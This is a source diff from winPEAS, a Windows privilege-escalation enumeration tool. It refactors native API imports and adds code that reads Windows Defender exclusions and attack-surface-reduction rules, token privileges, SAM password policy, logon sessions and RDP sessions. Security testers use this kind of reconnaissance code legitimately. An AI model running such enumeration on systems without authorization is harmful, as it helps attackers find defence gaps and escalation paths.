var ptr = FindFirstFile(@"\\.\pipe\*", out var lpFindFileData);
|
||||
var ptr = Kernel32.FindFirstFile(@"\\.\pipe\*", out var lpFindFileData);
|
||||
namedPipes.Add(lpFindFileData.cFileName);
|
||||
while (FindNextFile(ptr, out lpFindFileData))
|
||||
while (Kernel32.FindNextFile(ptr, out lpFindFileData))
|
||||
{
|
||||
namedPipes.Add(lpFindFileData.cFileName);
|
||||
}
|
||||
FindClose(ptr);
|
||||
Kernel32.FindClose(ptr);
|
||||
|
||||
namedPipes.Sort();
|
||||
|
||||
|
@ -4,54 +4,20 @@ using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.Printers
|
||||
{
|
||||
internal class Printers
|
||||
{
|
||||
[DllImport("advapi32.dll", EntryPoint = "GetNamedSecurityInfoW", CharSet = CharSet.Unicode)]
|
||||
public static extern int GetNamedSecurityInfo(
|
||||
string objectName,
|
||||
SE_OBJECT_TYPE objectType,
|
||||
SecurityInfos securityInfo,
|
||||
out IntPtr sidOwner,
|
||||
out IntPtr sidGroup,
|
||||
out IntPtr dacl,
|
||||
out IntPtr sacl,
|
||||
out IntPtr securityDescriptor);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool ConvertSecurityDescriptorToStringSecurityDescriptor(
|
||||
IntPtr SecurityDescriptor,
|
||||
uint StringSDRevision,
|
||||
SecurityInfos SecurityInformation,
|
||||
out IntPtr StringSecurityDescriptor,
|
||||
out int StringSecurityDescriptorSize);
|
||||
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_INFOS
|
||||
{
|
||||
public string Owner;
|
||||
public RawSecurityDescriptor SecurityDescriptor;
|
||||
public string SDDL;
|
||||
}
|
||||
|
||||
public enum SE_OBJECT_TYPE
|
||||
{
|
||||
SE_UNKNOWN_OBJECT_TYPE = 0,
|
||||
SE_FILE_OBJECT,
|
||||
SE_SERVICE,
|
||||
SE_PRINTER,
|
||||
SE_REGISTRY_KEY,
|
||||
SE_LMSHARE,
|
||||
SE_KERNEL_OBJECT,
|
||||
SE_WINDOW_OBJECT,
|
||||
SE_DS_OBJECT,
|
||||
SE_DS_OBJECT_ALL,
|
||||
SE_PROVIDER_DEFINED_OBJECT,
|
||||
SE_WMIGUID_OBJECT,
|
||||
SE_REGISTRY_WOW64_32KEY
|
||||
}
|
||||
}
|
||||
|
||||
public static IEnumerable<PrinterInfo> GetPrinterWMIInfos()
|
||||
{
|
||||
@ -65,21 +31,21 @@ namespace winPEAS.Info.SystemInfo.Printers
|
||||
{
|
||||
var isDefault = (bool)printer.GetPropertyValue("Default");
|
||||
var isNetworkPrinter = (bool)printer.GetPropertyValue("Network");
|
||||
string printerSDDL = null;
|
||||
string printerSddl = null;
|
||||
var printerName = $"{printer.GetPropertyValue("Name")}";
|
||||
var status = $"{printer.GetPropertyValue("Status")}";
|
||||
|
||||
try
|
||||
{
|
||||
var info = GetSecurityInfos(printerName, SE_OBJECT_TYPE.SE_PRINTER);
|
||||
printerSDDL = info.SDDL;
|
||||
printerSddl = info.SDDL;
|
||||
}
|
||||
catch { }
|
||||
|
||||
result.Add(new PrinterInfo(
|
||||
result.Add(new PrinterInfo(
|
||||
printerName,
|
||||
status,
|
||||
printerSDDL,
|
||||
printerSddl,
|
||||
isDefault,
|
||||
isNetworkPrinter
|
||||
));
|
||||
@ -105,13 +71,13 @@ namespace winPEAS.Info.SystemInfo.Printers
|
||||
var infos = new SECURITY_INFOS();
|
||||
|
||||
// get the security infos
|
||||
var errorReturn = GetNamedSecurityInfo(ObjectName, ObjectType, info, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);
|
||||
var errorReturn = Advapi32.GetNamedSecurityInfo(ObjectName, ObjectType, info, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);
|
||||
if (errorReturn != 0)
|
||||
{
|
||||
return infos;
|
||||
}
|
||||
|
||||
if (ConvertSecurityDescriptorToStringSecurityDescriptor(pSecurityDescriptor, 1, SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner, out var pSddlString, out _))
|
||||
if (Advapi32.ConvertSecurityDescriptorToStringSecurityDescriptor(pSecurityDescriptor, 1, SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner, out var pSddlString, out _))
|
||||
{
|
||||
infos.SDDL = Marshal.PtrToStringUni(pSddlString) ?? string.Empty;
|
||||
}
|
||||
|
@ -20,7 +20,7 @@ namespace winPEAS.Info.SystemInfo.SysMon
|
||||
var installed = false;
|
||||
var hashingAlgorithm = (SysmonHashAlgorithm)0;
|
||||
var sysmonOptions = (SysmonOptions)0;
|
||||
string? b64SysmonRules = null;
|
||||
string b64SysmonRules = null;
|
||||
|
||||
if ((regHashAlg != null) || (regOptions != null) || (regSysmonRules != null))
|
||||
{
|
||||
|
@ -0,0 +1,16 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
internal class AsrRule
|
||||
{
|
||||
public Guid Rule { get; private set; }
|
||||
public int State { get; private set; }
|
||||
|
||||
public AsrRule(Guid rule, int state)
|
||||
{
|
||||
Rule = rule;
|
||||
State = state;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,16 @@
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
internal class AsrSettings
|
||||
{
|
||||
public bool Enabled { get; }
|
||||
public IList<AsrRule> Rules { get; } = new List<AsrRule>();
|
||||
public IList<string> Exclusions { get; } = new List<string>();
|
||||
|
||||
public AsrSettings(bool enabled)
|
||||
{
|
||||
Enabled = enabled;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,13 @@
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
internal class WindowsDefender
|
||||
{
|
||||
public static WindowsDefenderSettingsInfo GetDefenderSettingsInfo()
|
||||
{
|
||||
return new WindowsDefenderSettingsInfo(
|
||||
new WindowsDefenderSettings(@"SOFTWARE\Microsoft\Windows Defender\"),
|
||||
new WindowsDefenderSettings(@"SOFTWARE\Policies\Microsoft\Windows Defender\")
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,87 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
internal class WindowsDefenderSettings
|
||||
{
|
||||
public IList<string> PathExclusions { get; }
|
||||
public IList<string> PolicyManagerPathExclusions { get; }
|
||||
public IList<string> ProcessExclusions { get; }
|
||||
public IList<string> ExtensionExclusions { get; }
|
||||
public AsrSettings AsrSettings { get; }
|
||||
|
||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||
{
|
||||
PathExclusions = new List<string>();
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
if (pathExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in pathExclusionData)
|
||||
{
|
||||
PathExclusions.Add(kvp.Key);
|
||||
}
|
||||
}
|
||||
|
||||
PolicyManagerPathExclusions = new List<string>();
|
||||
var excludedPaths = RegistryHelper.GetRegValue("HKLM", $"{defenderBaseKeyPath}\\Policy Manager", "ExcludedPaths");
|
||||
if (excludedPaths != null)
|
||||
{
|
||||
foreach (var s in excludedPaths.Split('|'))
|
||||
{
|
||||
PolicyManagerPathExclusions.Add(s);
|
||||
}
|
||||
}
|
||||
|
||||
ProcessExclusions = new List<string>();
|
||||
var processExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Processes");
|
||||
if (processExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in processExclusionData)
|
||||
{
|
||||
ProcessExclusions.Add(kvp.Key);
|
||||
}
|
||||
}
|
||||
|
||||
ExtensionExclusions = new List<string>();
|
||||
var extensionExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Extensions");
|
||||
if (extensionExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in extensionExclusionData)
|
||||
{
|
||||
ExtensionExclusions.Add(kvp.Key);
|
||||
}
|
||||
}
|
||||
|
||||
var asrKeyPath = $"{defenderBaseKeyPath}\\Windows Defender Exploit Guard\\ASR";
|
||||
var asrEnabled = RegistryHelper.GetRegValue("HKLM", asrKeyPath, "ExploitGuard_ASR_Rules");
|
||||
|
||||
AsrSettings = new AsrSettings(
|
||||
!string.IsNullOrEmpty(asrEnabled) && (asrEnabled != "0")
|
||||
);
|
||||
|
||||
var rules = RegistryHelper.GetRegValues("HKLM", $"{asrKeyPath}\\Rules");
|
||||
if (rules != null)
|
||||
{
|
||||
foreach (var value in rules)
|
||||
{
|
||||
AsrSettings.Rules.Add(new AsrRule(
|
||||
new Guid(value.Key),
|
||||
int.Parse((string)value.Value)
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
var exclusions = RegistryHelper.GetRegValues("HKLM", $"{asrKeyPath}\\ASROnlyExclusions");
|
||||
if (exclusions != null)
|
||||
{
|
||||
foreach (var value in exclusions)
|
||||
{
|
||||
AsrSettings.Exclusions.Add(value.Key);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
class WindowsDefenderSettingsInfo
|
||||
{
|
||||
public WindowsDefenderSettings LocalSettings { get; set; }
|
||||
public WindowsDefenderSettings GroupPolicySettings { get; set; }
|
||||
|
||||
public WindowsDefenderSettingsInfo(WindowsDefenderSettings localSettings, WindowsDefenderSettings groupPolicySettings)
|
||||
{
|
||||
LocalSettings = localSettings;
|
||||
GroupPolicySettings = groupPolicySettings;
|
||||
}
|
||||
}
|
||||
}
|
@ -5,6 +5,8 @@ using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds.Kerberos;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Info.UserInfo.LogonSessions
|
||||
{
|
||||
@ -26,12 +28,12 @@ namespace winPEAS.Info.UserInfo.LogonSessions
|
||||
{
|
||||
var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate
|
||||
|
||||
var ret = KnownFileCreds.Kerberos.Helpers.LsaEnumerateLogonSessions(out var count, out var luidPtr); // get an array of pointers to LUIDs
|
||||
var ret = Secur32.LsaEnumerateLogonSessions(out var count, out var luidPtr); // get an array of pointers to LUIDs
|
||||
|
||||
for (ulong i = 0; i < count; i++)
|
||||
{
|
||||
// TODO: Check return value
|
||||
ret = KnownFileCreds.Kerberos.Helpers.LsaGetLogonSessionData(luidPtr, out var sessionData);
|
||||
ret = Secur32.LsaGetLogonSessionData(luidPtr, out var sessionData);
|
||||
var data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));
|
||||
|
||||
// if we have a valid logon
|
||||
@ -90,9 +92,9 @@ namespace winPEAS.Info.UserInfo.LogonSessions
|
||||
|
||||
// move the pointer forward
|
||||
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));
|
||||
KnownFileCreds.Kerberos.Helpers.LsaFreeReturnBuffer(sessionData);
|
||||
Secur32.LsaFreeReturnBuffer(sessionData);
|
||||
}
|
||||
KnownFileCreds.Kerberos.Helpers.LsaFreeReturnBuffer(luidPtr);
|
||||
Secur32.LsaFreeReturnBuffer(luidPtr);
|
||||
}
|
||||
|
||||
private static IEnumerable<LogonSessionsInfo> GetLogonSessionsInfoWMI()
|
||||
|
@ -3,6 +3,8 @@ using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Classes;
|
||||
|
||||
namespace winPEAS.Info.UserInfo.SAM
|
||||
{
|
||||
@ -13,7 +15,7 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
public SamServer(string name, SERVER_ACCESS_MASK access)
|
||||
{
|
||||
Name = name;
|
||||
Check(SamConnect(new UNICODE_STRING(name), out _handle, access, IntPtr.Zero));
|
||||
Check(Samlib.SamConnect(new UNICODE_STRING(name), out _handle, access, IntPtr.Zero));
|
||||
}
|
||||
|
||||
public string Name { get; }
|
||||
@ -22,7 +24,7 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
{
|
||||
if (_handle != IntPtr.Zero)
|
||||
{
|
||||
SamCloseHandle(_handle);
|
||||
Samlib.SamCloseHandle(_handle);
|
||||
_handle = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
@ -35,17 +37,17 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
var sid = new byte[domainSid.BinaryLength];
|
||||
domainSid.GetBinaryForm(sid, 0);
|
||||
|
||||
Check(SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_WRITE_PASSWORD_PARAMS, sid, out IntPtr domain));
|
||||
Check(Samlib.SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_WRITE_PASSWORD_PARAMS, sid, out IntPtr domain));
|
||||
IntPtr info = Marshal.AllocHGlobal(Marshal.SizeOf(passwordInformation));
|
||||
Marshal.StructureToPtr(passwordInformation, info, false);
|
||||
try
|
||||
{
|
||||
Check(SamSetInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, info));
|
||||
Check(Samlib.SamSetInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, info));
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(info);
|
||||
SamCloseHandle(domain);
|
||||
Samlib.SamCloseHandle(domain);
|
||||
}
|
||||
}
|
||||
|
||||
@ -57,17 +59,17 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
var sid = new byte[domainSid.BinaryLength];
|
||||
domainSid.GetBinaryForm(sid, 0);
|
||||
|
||||
Check(SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_READ_PASSWORD_PARAMETERS, sid, out IntPtr domain));
|
||||
Check(Samlib.SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_READ_PASSWORD_PARAMETERS, sid, out IntPtr domain));
|
||||
var info = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
Check(SamQueryInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, out info));
|
||||
Check(Samlib.SamQueryInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, out info));
|
||||
return (DOMAIN_PASSWORD_INFORMATION)Marshal.PtrToStructure(info, typeof(DOMAIN_PASSWORD_INFORMATION));
|
||||
}
|
||||
finally
|
||||
{
|
||||
SamFreeMemory(info);
|
||||
SamCloseHandle(domain);
|
||||
Samlib.SamFreeMemory(info);
|
||||
Samlib.SamCloseHandle(domain);
|
||||
}
|
||||
}
|
||||
|
||||
@ -76,7 +78,7 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
if (domain == null)
|
||||
throw new ArgumentNullException(nameof(domain));
|
||||
|
||||
Check(SamLookupDomainInSamServer(_handle, new UNICODE_STRING(domain), out IntPtr sid));
|
||||
Check(Samlib.SamLookupDomainInSamServer(_handle, new UNICODE_STRING(domain), out IntPtr sid));
|
||||
return new SecurityIdentifier(sid);
|
||||
}
|
||||
|
||||
@ -85,7 +87,7 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
int cookie = 0;
|
||||
while (true)
|
||||
{
|
||||
var status = SamEnumerateDomainsInSamServer(_handle, ref cookie, out IntPtr info, 1, out int count);
|
||||
var status = Samlib.SamEnumerateDomainsInSamServer(_handle, ref cookie, out IntPtr info, 1, out int count);
|
||||
if (status != NTSTATUS.STATUS_SUCCESS && status != NTSTATUS.STATUS_MORE_ENTRIES)
|
||||
Check(status);
|
||||
|
||||
@ -93,60 +95,13 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
break;
|
||||
|
||||
var us = (UNICODE_STRING)Marshal.PtrToStructure(info + IntPtr.Size, typeof(UNICODE_STRING));
|
||||
SamFreeMemory(info);
|
||||
Samlib.SamFreeMemory(info);
|
||||
yield return us.ToString();
|
||||
us.Buffer = IntPtr.Zero; // we don't own this one
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private class UNICODE_STRING : IDisposable
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
|
||||
public UNICODE_STRING()
|
||||
: this(null)
|
||||
{
|
||||
}
|
||||
|
||||
public UNICODE_STRING(string s)
|
||||
{
|
||||
if (s != null)
|
||||
{
|
||||
Length = (ushort)(s.Length * 2);
|
||||
MaximumLength = (ushort)(Length + 2);
|
||||
Buffer = Marshal.StringToHGlobalUni(s);
|
||||
}
|
||||
}
|
||||
|
||||
public override string ToString() => Buffer != IntPtr.Zero ? Marshal.PtrToStringUni(Buffer) : null;
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (Buffer != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
Marshal.FreeHGlobal(Buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
|
||||
}
|
||||
Buffer = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
~UNICODE_STRING() => Dispose(false);
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static void Check(NTSTATUS err)
|
||||
{
|
||||
@ -155,32 +110,5 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
|
||||
//throw new System.ComponentModel.Win32Exception("Error " + err + " (0x" + ((int)err).ToString("X8") + ")");
|
||||
}
|
||||
|
||||
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamConnect(UNICODE_STRING ServerName, out IntPtr ServerHandle, SERVER_ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamCloseHandle(IntPtr ServerHandle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamFreeMemory(IntPtr Handle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamOpenDomain(IntPtr ServerHandle, DOMAIN_ACCESS_MASK DesiredAccess, byte[] DomainId, out IntPtr DomainHandle);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamLookupDomainInSamServer(IntPtr ServerHandle, UNICODE_STRING name, out IntPtr DomainId);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamQueryInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, out IntPtr Buffer);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamSetInformationDomain(IntPtr DomainHandle, DOMAIN_INFORMATION_CLASS DomainInformationClass, IntPtr Buffer);
|
||||
|
||||
[DllImport("samlib.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern NTSTATUS SamEnumerateDomainsInSamServer(IntPtr ServerHandle, ref int EnumerationContext, out IntPtr EnumerationBuffer, int PreferedMaximumLength, out int CountReturned);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -1,28 +1,7 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.UserInfo.Token
|
||||
{
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin
|
||||
}
|
||||
|
||||
{
|
||||
[Flags]
|
||||
public enum LuidAttributes : uint
|
||||
{
|
||||
|
@ -4,42 +4,26 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Info.UserInfo.Token
|
||||
{
|
||||
internal static class Token
|
||||
{
|
||||
// From Seatbelt
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool GetTokenInformation(
|
||||
IntPtr TokenHandle,
|
||||
TOKEN_INFORMATION_CLASS TokenInformationClass,
|
||||
IntPtr TokenInformation,
|
||||
int TokenInformationLength,
|
||||
out int ReturnLength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool LookupPrivilegeName(
|
||||
string lpSystemName,
|
||||
IntPtr lpLuid,
|
||||
System.Text.StringBuilder lpName,
|
||||
ref int cchName);
|
||||
|
||||
{
|
||||
public static Dictionary<string, string> GetTokenGroupPrivs()
|
||||
{
|
||||
// Returns all privileges that the current process/user possesses
|
||||
// adapted from https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni
|
||||
|
||||
Dictionary<string, string> results = new Dictionary<string, string> { };
|
||||
var results = new Dictionary<string, string>();
|
||||
try
|
||||
{
|
||||
int tokenInfLength = 0;
|
||||
IntPtr thisHandle = WindowsIdentity.GetCurrent().Token;
|
||||
GetTokenInformation(thisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, tokenInfLength, out tokenInfLength);
|
||||
Advapi32.GetTokenInformation(thisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, tokenInfLength, out tokenInfLength);
|
||||
IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);
|
||||
if (GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, tokenInformation, tokenInfLength, out tokenInfLength))
|
||||
if (Advapi32.GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, tokenInformation, tokenInfLength, out tokenInfLength))
|
||||
{
|
||||
TOKEN_PRIVILEGES thisPrivilegeSet = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_PRIVILEGES));
|
||||
for (int index = 0; index < thisPrivilegeSet.PrivilegeCount; index++)
|
||||
@ -49,9 +33,9 @@ namespace winPEAS.Info.UserInfo.Token
|
||||
int luidNameLen = 0;
|
||||
IntPtr luidPointer = Marshal.AllocHGlobal(Marshal.SizeOf(laa.Luid));
|
||||
Marshal.StructureToPtr(laa.Luid, luidPointer, true);
|
||||
LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||
if (LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
||||
Marshal.FreeHGlobal(luidPointer);
|
||||
}
|
||||
|
@ -6,6 +6,8 @@ using System.Windows.Forms;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.UserInfo.SAM;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
//Configuring Fody: https://tech.trailmax.info/2014/01/bundling-all-your-assemblies-into-one-or-alternative-to-ilmerge/
|
||||
//I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console
|
||||
@ -103,45 +105,10 @@ namespace winPEAS.Info.UserInfo
|
||||
Down,
|
||||
Init
|
||||
}
|
||||
public enum WTS_INFO_CLASS
|
||||
{
|
||||
WTSInitialProgram = 0,
|
||||
WTSApplicationName = 1,
|
||||
WTSWorkingDirectory = 2,
|
||||
WTSOEMId = 3,
|
||||
WTSSessionId = 4,
|
||||
WTSUserName = 5,
|
||||
WTSWinStationName = 6,
|
||||
WTSDomainName = 7,
|
||||
WTSConnectState = 8,
|
||||
WTSClientBuildNumber = 9,
|
||||
WTSClientName = 10,
|
||||
WTSClientDirectory = 11,
|
||||
WTSClientProductId = 12,
|
||||
WTSClientHardwareId = 13,
|
||||
WTSClientAddress = 14,
|
||||
WTSClientDisplay = 15,
|
||||
WTSClientProtocolType = 16,
|
||||
WTSIdleTime = 17,
|
||||
WTSLogonTime = 18,
|
||||
WTSIncomingBytes = 19,
|
||||
WTSOutgoingBytes = 20,
|
||||
WTSIncomingFrames = 21,
|
||||
WTSOutgoingFrames = 22,
|
||||
WTSClientInfo = 23,
|
||||
WTSSessionInfo = 24,
|
||||
WTSSessionInfoEx = 25,
|
||||
WTSConfigInfo = 26,
|
||||
WTSValidationInfo = 27,
|
||||
WTSSessionAddressV4 = 28,
|
||||
WTSIsRemoteSession = 29
|
||||
}
|
||||
|
||||
[DllImport("wtsapi32.dll")]
|
||||
static extern void WTSCloseServer(IntPtr hServer);
|
||||
|
||||
public static void CloseServer(IntPtr ServerHandle)
|
||||
{
|
||||
WTSCloseServer(ServerHandle);
|
||||
Wtsapi32.WTSCloseServer(ServerHandle);
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
@ -152,14 +119,6 @@ namespace winPEAS.Info.UserInfo
|
||||
public byte[] Address;
|
||||
}
|
||||
|
||||
[DllImport("Wtsapi32.dll", SetLastError = true)]
|
||||
static extern bool WTSQuerySessionInformation(
|
||||
IntPtr hServer,
|
||||
uint sessionId,
|
||||
WTS_INFO_CLASS wtsInfoClass,
|
||||
out IntPtr ppBuffer,
|
||||
out uint pBytesReturned
|
||||
);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WTS_SESSION_INFO_1
|
||||
@ -185,26 +144,13 @@ namespace winPEAS.Info.UserInfo
|
||||
[MarshalAs(UnmanagedType.LPStr)]
|
||||
public String pFarmName;
|
||||
}
|
||||
|
||||
[DllImport("wtsapi32.dll", SetLastError = true)]
|
||||
static extern IntPtr WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] String pServerName);
|
||||
|
||||
public static IntPtr OpenServer(String Name)
|
||||
{
|
||||
IntPtr server = WTSOpenServer(Name);
|
||||
IntPtr server = Wtsapi32.WTSOpenServer(Name);
|
||||
return server;
|
||||
}
|
||||
|
||||
[DllImport("wtsapi32.dll", SetLastError = true)]
|
||||
static extern Int32 WTSEnumerateSessionsEx(
|
||||
IntPtr hServer,
|
||||
[MarshalAs(UnmanagedType.U4)] ref Int32 pLevel,
|
||||
[MarshalAs(UnmanagedType.U4)] Int32 Filter,
|
||||
ref IntPtr ppSessionInfo,
|
||||
[MarshalAs(UnmanagedType.U4)] ref Int32 pCount);
|
||||
|
||||
[DllImport("wtsapi32.dll")]
|
||||
static extern void WTSFreeMemory(IntPtr pMemory);
|
||||
|
||||
public static List<Dictionary<string, string>> GetRDPSessions()
|
||||
{
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
@ -219,7 +165,7 @@ namespace winPEAS.Info.UserInfo
|
||||
|
||||
Int32 count = 0;
|
||||
Int32 level = 1;
|
||||
Int32 retval = WTSEnumerateSessionsEx(server, ref level, 0, ref ppSessionInfo, ref count);
|
||||
Int32 retval = Wtsapi32.WTSEnumerateSessionsEx(server, ref level, 0, ref ppSessionInfo, ref count);
|
||||
Int32 dataSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO_1));
|
||||
Int64 current = (Int64)ppSessionInfo;
|
||||
|
||||
@ -244,7 +190,7 @@ namespace winPEAS.Info.UserInfo
|
||||
IntPtr addressPtr = IntPtr.Zero;
|
||||
uint bytes = 0;
|
||||
|
||||
WTSQuerySessionInformation(server, (uint)si.SessionID, WTS_INFO_CLASS.WTSClientAddress, out addressPtr, out bytes);
|
||||
Wtsapi32.WTSQuerySessionInformation(server, (uint)si.SessionID, WTS_INFO_CLASS.WTSClientAddress, out addressPtr, out bytes);
|
||||
WTS_CLIENT_ADDRESS address = (WTS_CLIENT_ADDRESS)Marshal.PtrToStructure((System.IntPtr)addressPtr, typeof(WTS_CLIENT_ADDRESS));
|
||||
|
||||
if (address.Address[2] != 0)
